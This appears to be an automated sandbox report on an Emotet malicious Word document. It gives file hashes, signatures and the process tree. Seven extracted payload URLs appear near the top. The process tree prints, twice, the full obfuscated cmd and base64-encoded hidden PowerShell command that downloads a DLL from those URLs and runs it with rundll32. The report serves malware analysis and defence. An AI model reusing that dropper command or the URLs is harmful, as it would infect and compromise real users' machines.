Analysis
-
max time kernel
55s -
max time network
60s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
21-01-2021 01:52
Behavioral task
behavioral1
Sample
emotet_e2_d09519bde691d7455090dd8d77cc6035dd1ddf8ce5d7b437dbd4f3bae9ba3fb9_2021-01-21__015148160026._fpx.doc
Resource
win10v20201028
General
-
Target
emotet_e2_d09519bde691d7455090dd8d77cc6035dd1ddf8ce5d7b437dbd4f3bae9ba3fb9_2021-01-21__015148160026._fpx.doc
-
Size
165KB
-
MD5
66b23254a90dbfe8ee080e6c86959ab3
-
SHA1
0013f337fcacdbead3c981ad96cbfc888de5c966
-
SHA256
d09519bde691d7455090dd8d77cc6035dd1ddf8ce5d7b437dbd4f3bae9ba3fb9
-
SHA512
1d5715a9e3523152744962ff5c0366f75aa62cda869607db5f006fe27bb993eab6816b16062bc75fc68c75913663fddec566631562bb4c8e4d6b51bbf03fcc56
Malware Config
Extracted
http://covisiononeness.org/new/F9v/
https://www.oshiscafe.com/wp-admin/5Dm/
https://lionrockbatteries.com/wp-snapshots/C/
https://www.schmuckfeder.net/reference/ubpV/
http://cirteklink.com/F0xAutoConfig/1Zb4/
https://nimbledesign.miami/wp-admin/C/
http://xunhong.net/sys-cache/D0/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2260 3328 cmd.exe -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 18 2884 powershell.exe 20 2884 powershell.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 2748 rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 496 WINWORD.EXE 496 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 2884 powershell.exe 2884 powershell.exe 2884 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2884 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 496 WINWORD.EXE 496 WINWORD.EXE 496 WINWORD.EXE 496 WINWORD.EXE 496 WINWORD.EXE 496 WINWORD.EXE 496 WINWORD.EXE -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
cmd.exepowershell.exerundll32.exedescription pid process target process PID 2260 wrote to memory of 200 2260 cmd.exe msg.exe PID 2260 wrote to memory of 200 2260 cmd.exe msg.exe PID 2260 wrote to memory of 2884 2260 cmd.exe powershell.exe PID 2260 wrote to memory of 2884 2260 cmd.exe powershell.exe PID 2884 wrote to memory of 2620 2884 powershell.exe rundll32.exe PID 2884 wrote to memory of 2620 2884 powershell.exe rundll32.exe PID 2620 wrote to memory of 2748 2620 rundll32.exe rundll32.exe PID 2620 wrote to memory of 2748 2620 rundll32.exe rundll32.exe PID 2620 wrote to memory of 2748 2620 rundll32.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_d09519bde691d7455090dd8d77cc6035dd1ddf8ce5d7b437dbd4f3bae9ba3fb9_2021-01-21__015148160026._fpx.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:496
-
C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAHMAZQBUAC0AaQBUAEUAbQAgACgAJwB2AGEAUgBpAGEAYgBsAGUAOgAyACcAKwAnAGsAaAAnACsAJwA1AGkAJwApACAAKAAgAFsAdABZAHAARQBdACgAIgB7ADMAfQB7ADQAfQB7ADIAfQB7ADEAfQB7ADAAfQB7ADUAfQAiACAALQBmACcALgBkAGkAJwAsACcATwAnACwAJwBJACcALAAnAFMAWQBTAHQARQBNACcALAAnAC4AJwAsACcAcgBFAGMAVABvAHIAWQAnACkAIAAgACkAIAA7ACAAIAAkAHcAWAB1AFMAcgA9AFsAdABZAHAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADMAfQB7ADcAfQB7ADQAfQB7ADEAfQB7ADUAfQB7ADYAfQAiACAALQBGACcAUwB5AFMAdAAnACwAJwBvACcALAAnAEUAbQAuACcALAAnAG4AZQBUAC4AUwBlAHIAJwAsACcAQwBlAFAAJwAsACcASQBuAFQAbQBhAG4AYQBHACcALAAnAEUAUgAnACwAJwBWAEkAJwApACAAIAA7ACAAJABLAHYAZAA2AHcAaAB3AD0AJABEADYANABNACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABVADQANgBIADsAJABKADYANABVAD0AKAAnAFUAXwAnACsAJwAwAE4AJwApADsAIAAgACQAMgBrAGgANQBJADoAOgAiAEMAcgBgAEUAYQB0AGUAYABkAGkAcgBFAGAAQwB0AGAATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBFAHQAMwBxACcAKwAoACcAdAAxACcAKwAnAGoAJwApACsAJwB7ADAAfQAnACsAJwBFACcAKwAoACcAcQB5ADQAJwArACcAdAAnACkAKwAnAHgAcQB7ADAAfQAnACkAIAAtAGYAIAAgAFsAYwBIAGEAcgBdADkAMgApACkAOwAkAEIANgA5AFAAPQAoACcARwAnACsAKAAnADEAMQAnACsAJwBHACcAKQApADsAIAAoACAAIABHAEMAaQAgACgAJwBWAGEAUgAnACsAJwBpAEEAQgBMAEUAOgB3AFgAJwArACcAdQBzAFIAJwApACAAIAApAC4AdgBBAGwAdQBFADoAOgAiAFMAZQBjAFUAYABSAGkAYABUAFkAUABSAG8AdABPAGAAYwBgAG8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbABzACcAKwAnADEAMgAnACkAKQA7ACQAUwA5ADIASgA9ACgAKAAnAEMAMAAnACsAJwAyACcAKQArACcASAAnACkAOwAkAFoAdABoAHkAZQA2ADgAIAA9ACAAKAAoACcARgAzACcAKwAnADIAJwApACsAJwBPACcAKQA7ACQAVQAxADUAWgA9ACgAKAAnAFcAJwArACcAOAAyACcAKQArACcAVgAnACkAOwAkAEwAegBoADQAYwBwAHgAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQBFACcAKwAnAHQAMwAnACsAJwBxAHQAJwArACcAMQAnACsAJwBqAHsAMAB9AEUAcQB5ADQAJwArACcAdAB4AHEAewAnACsAJwAwACcAKwAnAH0AJwApACAAIAAtAGYAIAAgAFsAQwBIAGEAcgBdADkAMgApACsAJABaAHQAaAB5AGUANgA4ACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABSADkAOQBEAD0AKAAoACcAVQA0ACcAKwAnADQAJwApACsAJwBSACcAKQA7ACQASAB2AHYAaAByADkAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFUANQB0AHkAbQAyAGwAPQAoACgAJwBzAGcAJwArACcAIAAnACkAKwAnAHkAdwAnACsAJwAgAGEAJwArACgAJwBoADoAJwArACcALwAnACkAKwAoACcALwBjACcAKwAnAG8AdgAnACkAKwAoACcAaQBzACcAKwAnAGkAbwBuACcAKQArACcAbwAnACsAJwBuACcAKwAnAGUAJwArACcAbgBlACcAKwAoACcAcwBzAC4AbwByACcAKwAnAGcAJwArACcALwBuAGUAJwApACsAKAAnAHcALwBGADkAJwArACcAdgAvACcAKwAnACEAcwBnACcAKQArACgAJwAgAHkAJwArACcAdwAnACkAKwAoACcAIABhAGgAJwArACcAcwAnACkAKwAoACcAOgAnACsAJwAvAC8AdwB3ACcAKwAnAHcALgAnACkAKwAnAG8AcwAnACsAKAAnAGgAJwArACcAaQBzAGMAJwArACcAYQBmACcAKQArACgAJwBlACcAKwAnAC4AYwAnACkAKwAnAG8AJwArACcAbQAnACsAKAAnAC8AdwBwAC0AYQAnACsAJwBkAG0AaQBuACcAKQArACgAJwAvADUAJwArACcARABtACcAKQArACgAJwAvACcAKwAnACEAcwBnACcAKQArACcAIAB5ACcAKwAnAHcAIAAnACsAKAAnAGEAJwArACcAaABzADoAJwArACcALwAvACcAKQArACcAbAAnACsAKAAnAGkAJwArACcAbwBuAHIAJwApACsAKAAnAG8AJwArACcAYwBrAGIAJwArACcAYQB0AHQAZQByACcAKwAnAGkAZQAnACsAJwBzAC4AYwBvACcAKQArACgAJwBtAC8AJwArACcAdwAnACkAKwAoACcAcAAtAHMAJwArACcAbgAnACkAKwAoACcAYQAnACsAJwBwAHMAJwApACsAKAAnAGgAbwB0AHMALwAnACsAJwBDACcAKwAnAC8AJwApACsAJwAhACcAKwAoACcAcwBnACcAKwAnACAAeQB3ACAAYQBoAHMAJwApACsAKAAnADoALwAvACcAKwAnAHcAdwAnACkAKwAnAHcAJwArACcALgBzACcAKwAoACcAYwBoAG0AdQAnACsAJwBjAGsAZgAnACkAKwAoACcAZQAnACsAJwBkAGUAcgAnACkAKwAoACcALgAnACsAJwBuACcAKwAnAGUAJwArACcAdAAvAHIAZQBmAGUAcgAnACkAKwAnAGUAJwArACgAJwBuAGMAZQAnACsAJwAvAHUAYgBwAFYALwAnACsAJwAhAHMAJwApACsAKAAnAGcAIAB5AHcAIABhACcAKwAnAGgAOgAnACsAJwAvAC8AJwApACsAKAAnAGMAJwArACcAaQAnACsAJwByAHQAZQAnACsAJwBrAGwAaQBuAGsAJwApACsAKAAnAC4AJwArACcAYwBvAG0ALwAnACsAJwBGADAAJwApACsAKAAnAHgAQQB1AHQAbwBDACcAKwAnAG8AbgAnACsAJwBmAGkAJwArACcAZwAvACcAKQArACcAMQBaACcAKwAoACcAYgA0AC8AIQBzACcAKwAnAGcAIAB5AHcAIABhACcAKwAnAGgAcwA6ACcAKwAnAC8AJwArACcALwAnACsAJwBuAGkAbQAnACkAKwAnAGIAbAAnACsAJwBlAGQAJwArACcAZQBzACcAKwAoACcAaQBnAG4AJwArACcALgAnACkAKwAoACcAbQAnACsAJwBpAGEAJwApACsAKAAnAG0AJwArACcAaQAvAHcAcAAnACkAKwAoACcALQBhAGQAJwArACcAbQBpACcAKwAnAG4AJwApACsAJwAvACcAKwAnAEMAJwArACgAJwAvACEAcwBnACAAeQB3ACAAJwArACcAYQBoACcAKwAnADoALwAvACcAKwAnAHgAdQAnACsAJwBuAGgAJwApACsAJwBvACcAKwAnAG4AZwAnACsAKAAnAC4AbgAnACsAJwBlAHQAJwArACcALwBzAHkAcwAtAGMAYQBjACcAKQArACcAaAAnACsAJwBlACcAKwAoACcALwBEACcAKwAnADAAJwApACsAJwAvACcAKQAuACIAUgBlAHAATABgAEEAYABDAEUAIgAoACgAJwBzACcAKwAnAGcAJwArACgAJwAgAHkAdwAnACsAJwAgAGEAJwArACcAaAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQASAB2AHYAaAByADkAcAAsACcAdwBkACcAKQBbADMAXQApAC4AIgBzAFAAYABMAGkAVAAiACgAJABQADQAXwBCACAAKwAgACQASwB2AGQANgB3AGgAdwAgACsAIAAkAFgAOQA3AEQAKQA7ACQAVgA0ADMARwA9ACgAJwBGADcAJwArACcAMQBKACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATwBiADYAeABjAHoAXwAgAGkAbgAgACQAVQA1AHQAeQBtADIAbAApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3AC0ATwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAAUwB5AFMAdABlAG0ALgBuAGUAVAAuAFcARQBiAGMATABpAGUATgBUACkALgAiAEQATwBgAFcAYABOAGwATwBBAEQAZgBgAEkATABlACIAKAAkAE8AYgA2AHgAYwB6AF8ALAAgACQATAB6AGgANABjAHAAeAApADsAJABBADgANABTAD0AKAAnAEkAJwArACgAJwAyADEAJwArACcASwAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABMAHoAaAA0AGMAcAB4ACkALgAiAGwARQBgAE4ARwB0AGgAIgAgAC0AZwBlACAANAAxADcAMAA4ACkAIAB7ACYAKAAnAHIAdQAnACsAJwBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAEwAegBoADQAYwBwAHgALAAoACgAJwBBACcAKwAnAG4AeQBTACcAKQArACcAdAAnACsAKAAnAHIAaQBuACcAKwAnAGcAJwApACkALgAiAHQAbwBgAHMAdAByAGkAYABOAEcAIgAoACkAOwAkAFoANgA0AFQAPQAoACcAQgAnACsAKAAnADUANwAnACsAJwBaACcAKQApADsAYgByAGUAYQBrADsAJABDAF8ANQBWAD0AKAAoACcATgA2ACcAKwAnADcAJwApACsAJwBRACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBfAF8ARgA9ACgAKAAnAEIAMwAnACsAJwBfACcAKQArACcAQgAnACkA1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2260 -
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵PID:200
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc IAAgAHMAZQBUAC0AaQBUAEUAbQAgACgAJwB2AGEAUgBpAGEAYgBsAGUAOgAyACcAKwAnAGsAaAAnACsAJwA1AGkAJwApACAAKAAgAFsAdABZAHAARQBdACgAIgB7ADMAfQB7ADQAfQB7ADIAfQB7ADEAfQB7ADAAfQB7ADUAfQAiACAALQBmACcALgBkAGkAJwAsACcATwAnACwAJwBJACcALAAnAFMAWQBTAHQARQBNACcALAAnAC4AJwAsACcAcgBFAGMAVABvAHIAWQAnACkAIAAgACkAIAA7ACAAIAAkAHcAWAB1AFMAcgA9AFsAdABZAHAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADMAfQB7ADcAfQB7ADQAfQB7ADEAfQB7ADUAfQB7ADYAfQAiACAALQBGACcAUwB5AFMAdAAnACwAJwBvACcALAAnAEUAbQAuACcALAAnAG4AZQBUAC4AUwBlAHIAJwAsACcAQwBlAFAAJwAsACcASQBuAFQAbQBhAG4AYQBHACcALAAnAEUAUgAnACwAJwBWAEkAJwApACAAIAA7ACAAJABLAHYAZAA2AHcAaAB3AD0AJABEADYANABNACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABVADQANgBIADsAJABKADYANABVAD0AKAAnAFUAXwAnACsAJwAwAE4AJwApADsAIAAgACQAMgBrAGgANQBJADoAOgAiAEMAcgBgAEUAYQB0AGUAYABkAGkAcgBFAGAAQwB0AGAATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBFAHQAMwBxACcAKwAoACcAdAAxACcAKwAnAGoAJwApACsAJwB7ADAAfQAnACsAJwBFACcAKwAoACcAcQB5ADQAJwArACcAdAAnACkAKwAnAHgAcQB7ADAAfQAnACkAIAAtAGYAIAAgAFsAYwBIAGEAcgBdADkAMgApACkAOwAkAEIANgA5AFAAPQAoACcARwAnACsAKAAnADEAMQAnACsAJwBHACcAKQApADsAIAAoACAAIABHAEMAaQAgACgAJwBWAGEAUgAnACsAJwBpAEEAQgBMAEUAOgB3AFgAJwArACcAdQBzAFIAJwApACAAIAApAC4AdgBBAGwAdQBFADoAOgAiAFMAZQBjAFUAYABSAGkAYABUAFkAUABSAG8AdABPAGAAYwBgAG8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbABzACcAKwAnADEAMgAnACkAKQA7ACQAUwA5ADIASgA9ACgAKAAnAEMAMAAnACsAJwAyACcAKQArACcASAAnACkAOwAkAFoAdABoAHkAZQA2ADgAIAA9ACAAKAAoACcARgAzACcAKwAnADIAJwApACsAJwBPACcAKQA7ACQAVQAxADUAWgA9ACgAKAAnAFcAJwArACcAOAAyACcAKQArACcAVgAnACkAOwAkAEwAegBoADQAYwBwAHgAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQBFACcAKwAnAHQAMwAnACsAJwBxAHQAJwArACcAMQAnACsAJwBqAHsAMAB9AEUAcQB5ADQAJwArACcAdAB4AHEAewAnACsAJwAwACcAKwAnAH0AJwApACAAIAAtAGYAIAAgAFsAQwBIAGEAcgBdADkAMgApACsAJABaAHQAaAB5AGUANgA4ACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABSADkAOQBEAD0AKAAoACcAVQA0ACcAKwAnADQAJwApACsAJwBSACcAKQA7ACQASAB2AHYAaAByADkAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFUANQB0AHkAbQAyAGwAPQAoACgAJwBzAGcAJwArACcAIAAnACkAKwAnAHkAdwAnACsAJwAgAGEAJwArACgAJwBoADoAJwArACcALwAnACkAKwAoACcALwBjACcAKwAnAG8AdgAnACkAKwAoACcAaQBzACcAKwAnAGkAbwBuACcAKQArACcAbwAnACsAJwBuACcAKwAnAGUAJwArACcAbgBlACcAKwAoACcAcwBzAC4AbwByACcAKwAnAGcAJwArACcALwBuAGUAJwApACsAKAAnAHcALwBGADkAJwArACcAdgAvACcAKwAnACEAcwBnACcAKQArACgAJwAgAHkAJwArACcAdwAnACkAKwAoACcAIABhAGgAJwArACcAcwAnACkAKwAoACcAOgAnACsAJwAvAC8AdwB3ACcAKwAnAHcALgAnACkAKwAnAG8AcwAnACsAKAAnAGgAJwArACcAaQBzAGMAJwArACcAYQBmACcAKQArACgAJwBlACcAKwAnAC4AYwAnACkAKwAnAG8AJwArACcAbQAnACsAKAAnAC8AdwBwAC0AYQAnACsAJwBkAG0AaQBuACcAKQArACgAJwAvADUAJwArACcARABtACcAKQArACgAJwAvACcAKwAnACEAcwBnACcAKQArACcAIAB5ACcAKwAnAHcAIAAnACsAKAAnAGEAJwArACcAaABzADoAJwArACcALwAvACcAKQArACcAbAAnACsAKAAnAGkAJwArACcAbwBuAHIAJwApACsAKAAnAG8AJwArACcAYwBrAGIAJwArACcAYQB0AHQAZQByACcAKwAnAGkAZQAnACsAJwBzAC4AYwBvACcAKQArACgAJwBtAC8AJwArACcAdwAnACkAKwAoACcAcAAtAHMAJwArACcAbgAnACkAKwAoACcAYQAnACsAJwBwAHMAJwApACsAKAAnAGgAbwB0AHMALwAnACsAJwBDACcAKwAnAC8AJwApACsAJwAhACcAKwAoACcAcwBnACcAKwAnACAAeQB3ACAAYQBoAHMAJwApACsAKAAnADoALwAvACcAKwAnAHcAdwAnACkAKwAnAHcAJwArACcALgBzACcAKwAoACcAYwBoAG0AdQAnACsAJwBjAGsAZgAnACkAKwAoACcAZQAnACsAJwBkAGUAcgAnACkAKwAoACcALgAnACsAJwBuACcAKwAnAGUAJwArACcAdAAvAHIAZQBmAGUAcgAnACkAKwAnAGUAJwArACgAJwBuAGMAZQAnACsAJwAvAHUAYgBwAFYALwAnACsAJwAhAHMAJwApACsAKAAnAGcAIAB5AHcAIABhACcAKwAnAGgAOgAnACsAJwAvAC8AJwApACsAKAAnAGMAJwArACcAaQAnACsAJwByAHQAZQAnACsAJwBrAGwAaQBuAGsAJwApACsAKAAnAC4AJwArACcAYwBvAG0ALwAnACsAJwBGADAAJwApACsAKAAnAHgAQQB1AHQAbwBDACcAKwAnAG8AbgAnACsAJwBmAGkAJwArACcAZwAvACcAKQArACcAMQBaACcAKwAoACcAYgA0AC8AIQBzACcAKwAnAGcAIAB5AHcAIABhACcAKwAnAGgAcwA6ACcAKwAnAC8AJwArACcALwAnACsAJwBuAGkAbQAnACkAKwAnAGIAbAAnACsAJwBlAGQAJwArACcAZQBzACcAKwAoACcAaQBnAG4AJwArACcALgAnACkAKwAoACcAbQAnACsAJwBpAGEAJwApACsAKAAnAG0AJwArACcAaQAvAHcAcAAnACkAKwAoACcALQBhAGQAJwArACcAbQBpACcAKwAnAG4AJwApACsAJwAvACcAKwAnAEMAJwArACgAJwAvACEAcwBnACAAeQB3ACAAJwArACcAYQBoACcAKwAnADoALwAvACcAKwAnAHgAdQAnACsAJwBuAGgAJwApACsAJwBvACcAKwAnAG4AZwAnACsAKAAnAC4AbgAnACsAJwBlAHQAJwArACcALwBzAHkAcwAtAGMAYQBjACcAKQArACcAaAAnACsAJwBlACcAKwAoACcALwBEACcAKwAnADAAJwApACsAJwAvACcAKQAuACIAUgBlAHAATABgAEEAYABDAEUAIgAoACgAJwBzACcAKwAnAGcAJwArACgAJwAgAHkAdwAnACsAJwAgAGEAJwArACcAaAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQASAB2AHYAaAByADkAcAAsACcAdwBkACcAKQBbADMAXQApAC4AIgBzAFAAYABMAGkAVAAiACgAJABQADQAXwBCACAAKwAgACQASwB2AGQANgB3AGgAdwAgACsAIAAkAFgAOQA3AEQAKQA7ACQAVgA0ADMARwA9ACgAJwBGADcAJwArACcAMQBKACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATwBiADYAeABjAHoAXwAgAGkAbgAgACQAVQA1AHQAeQBtADIAbAApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3AC0ATwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAAUwB5AFMAdABlAG0ALgBuAGUAVAAuAFcARQBiAGMATABpAGUATgBUACkALgAiAEQATwBgAFcAYABOAGwATwBBAEQAZgBgAEkATABlACIAKAAkAE8AYgA2AHgAYwB6AF8ALAAgACQATAB6AGgANABjAHAAeAApADsAJABBADgANABTAD0AKAAnAEkAJwArACgAJwAyADEAJwArACcASwAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABMAHoAaAA0AGMAcAB4ACkALgAiAGwARQBgAE4ARwB0AGgAIgAgAC0AZwBlACAANAAxADcAMAA4ACkAIAB7ACYAKAAnAHIAdQAnACsAJwBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAEwAegBoADQAYwBwAHgALAAoACgAJwBBACcAKwAnAG4AeQBTACcAKQArACcAdAAnACsAKAAnAHIAaQBuACcAKwAnAGcAJwApACkALgAiAHQAbwBgAHMAdAByAGkAYABOAEcAIgAoACkAOwAkAFoANgA0AFQAPQAoACcAQgAnACsAKAAnADUANwAnACsAJwBaACcAKQApADsAYgByAGUAYQBrADsAJABDAF8ANQBWAD0AKAAoACcATgA2ACcAKwAnADcAJwApACsAJwBRACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBfAF8ARgA9ACgAKAAnAEIAMwAnACsAJwBfACcAKQArACcAQgAnACkA2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2884 -
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Et3qt1j\Eqy4txq\F32O.dll,AnyString3⤵
- Suspicious use of WriteProcessMemory
PID:2620 -
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Et3qt1j\Eqy4txq\F32O.dll,AnyString4⤵
- Loads dropped DLL
PID:2748
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Et3qt1j\Eqy4txq\F32O.dllMD5
db6b1b751143235793c97e2060753b03
SHA172c2dd8d677a9bbc86e624383d42fd0496144a5c
SHA25601e14d7d7d88ef53d4f9443170bff682dc9c72f13451c18c9032a5e440975e98
SHA512b637c6554f875cdbfe67673969b39f672ce4f5b4cf3da0a79e2bf151d878d4fb5edec4759018a8e7f1e2362ee11cf4e35760ba4cf13ba738474818e8cc94c96c
-
\Users\Admin\Et3qt1j\Eqy4txq\F32O.dllMD5
db6b1b751143235793c97e2060753b03
SHA172c2dd8d677a9bbc86e624383d42fd0496144a5c
SHA25601e14d7d7d88ef53d4f9443170bff682dc9c72f13451c18c9032a5e440975e98
SHA512b637c6554f875cdbfe67673969b39f672ce4f5b4cf3da0a79e2bf151d878d4fb5edec4759018a8e7f1e2362ee11cf4e35760ba4cf13ba738474818e8cc94c96c
-
memory/200-8-0x0000000000000000-mapping.dmp
-
memory/496-3-0x00007FF983B50000-0x00007FF983B60000-memory.dmpFilesize
64KB
-
memory/496-4-0x00007FF983B50000-0x00007FF983B60000-memory.dmpFilesize
64KB
-
memory/496-5-0x00007FF983B50000-0x00007FF983B60000-memory.dmpFilesize
64KB
-
memory/496-6-0x000001F352A40000-0x000001F353077000-memory.dmpFilesize
6.2MB
-
memory/496-7-0x00007FF980340000-0x00007FF980350000-memory.dmpFilesize
64KB
-
memory/496-2-0x00007FF983B50000-0x00007FF983B60000-memory.dmpFilesize
64KB
-
memory/2620-16-0x0000000000000000-mapping.dmp
-
memory/2748-18-0x0000000000000000-mapping.dmp
-
memory/2884-10-0x00007FF99C290000-0x00007FF99CC7C000-memory.dmpFilesize
9.9MB
-
memory/2884-14-0x0000029AC3F40000-0x0000029AC3F41000-memory.dmpFilesize
4KB
-
memory/2884-15-0x0000029AC3DB6000-0x0000029AC3DB8000-memory.dmpFilesize
8KB
-
memory/2884-13-0x0000029AABC20000-0x0000029AABC21000-memory.dmpFilesize
4KB
-
memory/2884-12-0x0000029AC3DB3000-0x0000029AC3DB5000-memory.dmpFilesize
8KB
-
memory/2884-11-0x0000029AC3DB0000-0x0000029AC3DB2000-memory.dmpFilesize
8KB
-
memory/2884-9-0x0000000000000000-mapping.dmp